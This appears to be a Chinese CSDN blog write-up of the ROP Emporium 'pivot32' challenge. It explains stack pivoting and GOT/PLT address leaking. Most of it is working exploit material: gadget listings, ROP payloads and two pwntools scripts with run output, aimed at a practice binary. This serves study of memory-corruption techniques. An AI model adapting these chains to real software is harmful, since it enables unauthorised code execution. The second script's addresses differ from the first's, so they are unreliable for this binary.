piovt32 ROP Emporium

1、栈迁移

由于某些条件限制先栈空间不足写长的ROP,需要把主要的ROP写到其他区域。在可写栈区域写一个短的ROP,完成跳转到长ROP区域,完成最终的代码执行。栈迁移有两种方法,方法一,通过两次 leave ret完成,方法二,通过控制栈顶寄存器esp,使其跳转到长ROP区域。

方法一:

汇编语言leave_ret指令 leave相当于mov esp ebp + pop ebp mov esp ebp操作指将ebp的值赋给esp,也就是让esp指向ebp所指的地方 pop ebp操作指将栈上ebp所指向的内容pop出来

通过填充数据将ebp覆盖成我们想让函数执行流去到的地方(dss/data/堆区) 然后在填入leave_ret 指令 特别注意的是:其实在函数执行到我们填入的leave_ret指令之前,函数内自己也有一段leave_ret 指令,也就是说,我们这个设置栈溢出,leave_ret 指令它执行了两次。 实际上,这里执行了两次的leave_ret过程。第一次函数运行结束后,进行leave的时候,会把ebp丢到堆空间的地方。然后利用第一次ret跳转到leave_ret的gadget的地方再执行一次leave_ret,从而将esp也弄到堆空间的payload_1处。由于每次ret都会使得esp+4,所以,伪造的ebp的地址要减去4。

 

方法二:

需要构造ROP重写esp栈顶寄存器。不需要控制ebp寄存器。

2、查找未调用函数的真实地址

原理,由于plt表与got表的特性,函数第一次调用时plt表指向的got表中存储的执行在plt表中查找函数真实地址的函数地址,查找到函数真实地址后,存储到got表的原来表项中替换掉查找函数的指向地址。以题目为例, foothold_function函数,先调用利用利用plt表中的地址调用一次后,在plot表中会存储其真实地址,利用foothold_function函数与ret2win函数在libpivot32.so的便宜差,通过foothold_function真实地址,计算出ret2win函数的真实地址。

我们可以在pivot32的二进制找到foothold_function的plt和got表项,还可以在libpivot32.so找到ret2win这个函数。

 

##

3、wp

在IDA中分析文件pivot32文件,溢出函数pwnme

int __cdecl pwnme(void *buf)
{
  char s[40]; // [esp+0h] [ebp-28h] BYREF
​
  memset(s, 0, 0x20u);
  puts("Call ret2win() from libpivot");
  printf("The Old Gods kindly bestow upon you a place to pivot: %p\n", buf);
  puts("Send a ROP chain now and it will land there");
  printf("> ");
  read(0, buf, 0x100u);
  puts("Thank you!\n");
  puts("Now please send your stack smash");
  printf("> ");
  read(0, s, 0x38u);
  return puts("Thank you!");
}

发现可写的字符空间为0x38-0x28-0x4(ebp)-0x4(eip)=8,空间太小。

在main函数中创建了一个堆区域,题目为了简单,把堆区的地址进行了输出。

在libpiovt32.so文件中找到ret2win函数如下。

void __noreturn ret2win()
{
  FILE *stream; // [esp+4h] [ebp-34h]
  char s[33]; // [esp+Bh] [ebp-2Dh] BYREF
  unsigned int v2; // [esp+2Ch] [ebp-Ch]
​
  v2 = __readgsdword(0x14u);
  stream = fopen("flag.txt", "r");
  if ( !stream )
  {
    puts("Failed to open file: flag.txt");
    exit(1);
  }
  fgets(s, 33, stream);
  puts(s);
  fclose(stream);
  exit(0);
}
​
​

根据题目提示,在栈区完成栈迁移,在堆区调用ret2win函数。

foothold_function
.got.plt 804A024
.plt    08048520
 call   8048520 <foothold_function@plt>
​
​

题目分析

(1)运行程序得到堆区地址:0xf7dfbf08

The Old Gods kindly bestow upon you a place to pivot: 0xf7dfbf08

(2)read(0, s, 0x38u);函数结束时执行leave ;ret;需要找到,leave;ret;ROP链

(3)获取ret2win真实地址,需要获取foothold_function函数的真实地址,以及在lib中ret2win与foothold_function的偏移量,然后计算,需要pop;mov res [res];addROP

# ROPgadget --binary pivot32 --only "pop|ret|mov|add|call|leave"
Gadgets information
============================================================
0x08048668 : add al, 8 ; add ecx, ecx ; ret
0x080485ee : add al, 8 ; call eax
0x0804863b : add al, 8 ; call edx
0x08048831 : add bl, al ; add eax, ebx ; ret
0x080485ff : add bl, dh ; ret
0x080485fd : add byte ptr [eax], al ; add bl, dh ; ret
0x080485fc : add byte ptr [eax], al ; add byte ptr [eax], al ; ret
0x080484a4 : add byte ptr [eax], al ; add esp, 8 ; pop ebx ; ret
0x080485fe : add byte ptr [eax], al ; ret
0x08048665 : add eax, 0x804a040 ; add ecx, ecx ; ret
0x08048833 : add eax, ebx ; ret
0x0804866a : add ecx, ecx ; ret
0x080485f2 : add esp, 0x10 ; leave ; ret
0x08048895 : add esp, 0xc ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080484a6 : add esp, 8 ; pop ebx ; ret
0x0804857b : call 0x80485a9
0x0804848c : call 0x80485c6
0x080485f0 : call eax
0x0804863d : call edx
0x080485f5 : leave ; ret
0x08048667 : mov al, byte ptr [0xc9010804] ; ret
0x080485ed : mov al, byte ptr [0xd0ff0804] ; add esp, 0x10 ; leave ; ret
0x0804863a : mov al, byte ptr [0xd2ff0804] ; add esp, 0x10 ; leave ; ret
0x08048664 : mov byte ptr [0x804a040], 1 ; leave ; ret
0x08048830 : mov eax, dword ptr [eax] ; ret
0x080485a3 : mov ebx, dword ptr [esp] ; ret
0x080485fa : mov esp, 0x27 ; add bl, dh ; ret
0x0804882c : pop eax ; ret
0x0804889b : pop ebp ; ret
0x08048898 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080484a9 : pop ebx ; ret
0x0804889a : pop edi ; pop ebp ; ret
0x08048899 : pop esi ; pop edi ; pop ebp ; ret
0x080488b0 : pop ss ; add byte ptr [eax], al ; add esp, 8 ; pop ebx ; ret
0x08048492 : ret
0x0804861e : ret 0xeac1
​
Unique gadgets found: 36
​
​
​
栈迁移
0x080485f5 : leave ; ret
leave_ret=0x080485f5
ROP区
​
foothold_function.plt
pop foothold_function.got
mov res [res]
pop osset
add res osset
call res
​
0x0804882c : pop eax ; ret
0x08048830 : mov eax, dword ptr [eax] ; ret
0x080484a9 : pop ebx ; ret
0x08048833 : add eax, ebx ; ret
0x080485f0 : call eax
​
pop_eax=0x0804882c
mov_eax_eax=0x08048830
pop_ebx=0x080484a9
add_eax_ebx=0x08048833
call_eax=0x080485f0

gdb调试

地址
heap_addr= 0xf7dfbf08
​
leave_ret=0x080485f5
​
pop_eax=0x0804882c
mov_eax_eax=0x08048830
pop_ebx=0x080484a9
add_eax_ebx=0x08048833
call_eax=0x080485f0
foothold_plt=0x8048520
foothold_got=0x804a024
offset=503
​
payload1=p32(foothold_plt)
payload1+=p32(pop_eax)
payload1+=p32(foothold_got)
payload1+=p32(mov_eax_eax)
payload1+=p32(pop_ebx)
payload1+=p32(offset)
payload1+=p32(add_eax_ebx)
payload1+=p32(call_eax)
​
​
payload2=b'a'*(0x28)
payload2+=p32(heap_addr-4)
payload2+p32(leave_ret)
​
payload2
set $ebp=0xf7dfbf08-4
set $ebp+4=0x080485f5

方法二中,修改esp到堆区

# ROPgadget --binary pivot32 --only "pop|ret|xchg"
Gadgets information
============================================================
0x0804882c : pop eax ; ret
0x0804889b : pop ebp ; ret
0x08048898 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080484a9 : pop ebx ; ret
0x0804889a : pop edi ; pop ebp ; ret
0x08048899 : pop esi ; pop edi ; pop ebp ; ret
0x08048492 : ret
0x0804861e : ret 0xeac1
0x0804882e : xchg eax, esp ; ret
​
0x0804882c : pop eax ; ret
0x0804882e : xchg eax, esp ; ret
​
pop_eax=0x0804882c
xchg_eax_esp=0x0804882e
​
payload2:
payload2=b'a'*(0x28+4)
payload2+=p32(0x0804882c)
payload2+=p32(heap_addr)
payload2+=p32(xchg_eax_esp)
​
长度:0x28+4+4*3=0x38
​
​

exp

from pwn import *
p=process('./pivot32')
e=ELF('./pivot32')
lib=ELF('./libpivot32.so')
​
heap_addr=0xf7dfbf08
​
leave_ret=0x080485f5
​
pop_eax=0x0804882c
mov_eax_eax=0x08048830
pop_ebx=0x080484a9
add_eax_ebx=0x08048833
call_eax=0x080485f0
xchg_eax_esp=0x0804882e
​
foothold_plt=e.plt['foothold_function']
foothold_got=e.got['foothold_function']
​
offset = int(lib.sym['ret2win']-lib.sym['foothold_function'])
​
print(hex(foothold_plt),hex(foothold_got),offset)
​
#print(p.recv())
recv=p.recv()
heap_addr=int(recv.split()[20],16)
print(recv)
print(hex(heap_addr))
​
payload1=p32(foothold_plt)
payload1+=p32(pop_eax)
payload1+=p32(foothold_got)
payload1+=p32(mov_eax_eax)
payload1+=p32(pop_ebx)
payload1+=p32(offset)
payload1+=p32(add_eax_ebx)
payload1+=p32(call_eax)
​
print("send payload1")
​
p.sendline(payload1)
print(p.recvuntil('>'))
​
#方法一
#payload2=b'a'*(0x28)
#payload2+=p32(heap_addr-4)
#payload2+p32(leave_ret)
​
#方法二
payload2=b'a'*(0x28+4)
payload2+=p32(pop_eax)
payload2+=p32(heap_addr)
payload2+=p32(xchg_eax_esp)
​
print("send payload2")
p.sendline(payload2)
print(p.recv(1024))
print(p.recvall())
​
print("all")
​
​
# python3 pivot32.py 
[+] Starting local process './pivot32': pid 7452
[*] '/home/wdp/Desktop/pwn/rop/pivot32'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
    RUNPATH:  b'.'
[*] '/home/wdp/Desktop/pwn/rop/libpivot32.so'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
0x8048520 0x804a024 503
b'pivot by ROP Emporium\nx86\n\nCall ret2win() from libpivot\nThe Old Gods kindly bestow upon you a place to pivot: 0xf7d7ef08\nSend a ROP chain now and it will land there\n> '
0xf7d7ef08
send payload1
b'Thank you!\n\nNow please send your stack smash\n>'
send payload2
b' '
[+] Receiving all data: Done (126B)
[*] Process './pivot32' stopped with exit code 0 (pid 7452)
b'Thank you!\nfoothold_function(): Check out my .got.plt entry to gain a foothold into libpivot\nROPE{a_placeholder_32byte_flag!}\n'
all
​

exp

* # coding:utf-8
* from pwn import *
* 
* sh = process('./pivot32')
* elf = ELF('./pivot32')
* 
* libc = ELF('./libpivot32.so')
* 
* foothold_function_got = elf.got['foothold_function']
* foothold_function_plt = elf.plt['foothold_function']
* foothold_function_libc = libc.symbols['foothold_function']
* ret2win_libc = libc.symbols['ret2win']
* 
* sh.recvuntil('pivot: ')
* shellcode_addr = int(sh.recv(10), 16)
* 
* pop_eax_addr = 0x80488c0
* xchg_addr = 0x080488c2
* mov_addr = 0x080488c4
* add_addr = 0x080488c7
* 
* pop_ebx_addr = 0x08048571
* jmp_addr = 0x08048a5f
* 
* payload1 = p32(foothold_function_plt) # 调用foothold_function函数,调用时会将foothold_function函数的实际地址写入到GOT表中
* payload1 += p32(pop_eax_addr) + p32(foothold_function_got)# 将foothold_function函数的GOT地址写入eax寄存器
* payload1 += p32(mov_addr) # 将foothold_function函数的GOT地址指向的地址放入eax寄存器,即foothold_function函数在内存中的真实地址
* payload1 += p32(pop_ebx_addr) + p32(ret2win_libc - foothold_function_libc) # 将ret2win函数与foothold_function函数在libc.so文件中的相对偏移放入ebx
* payload1 += p32(add_addr) # foothold_function函数真实地址加上ret2win相对于foothold_function函数的offset即得ret2win函数在内存中的实际地址
* payload1 += p32(jmp_addr) # 使程序跳转到eax中的地址,即泄露的堆空间的入口位置
* 
* sh.recvuntil('>')
* sh.sendline(payload1)
* 
* payload2 = 'a' * (0x28 + 0x4) # padding
* payload2 += p32(pop_eax_addr) + p32(shellcode_addr) # 堆空间的地址放入eax寄存器
* payload2 += p32(xchg_addr) # 交换eax和esp的值,也就是说程序分配的对空间就被当成栈,交换eax和esp的值,也就是说程序分配的堆空间就被当成栈,ret就会返回到栈顶去执行我们精心设计好的shellcode
* 
* sh.recvuntil('smash')
* sh.sendline(payload2)
* 
* sh.interactive()
* sh.close()

【rop emporium 2020】pivot_破落之实的博客-CSDN博客

ROP Emporium の pivot | ColdSnap の Blog

CTF|rop emporium pivot32 writeup (栈迁移题型)_一个不融化的雪人的博客-CSDN博客

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值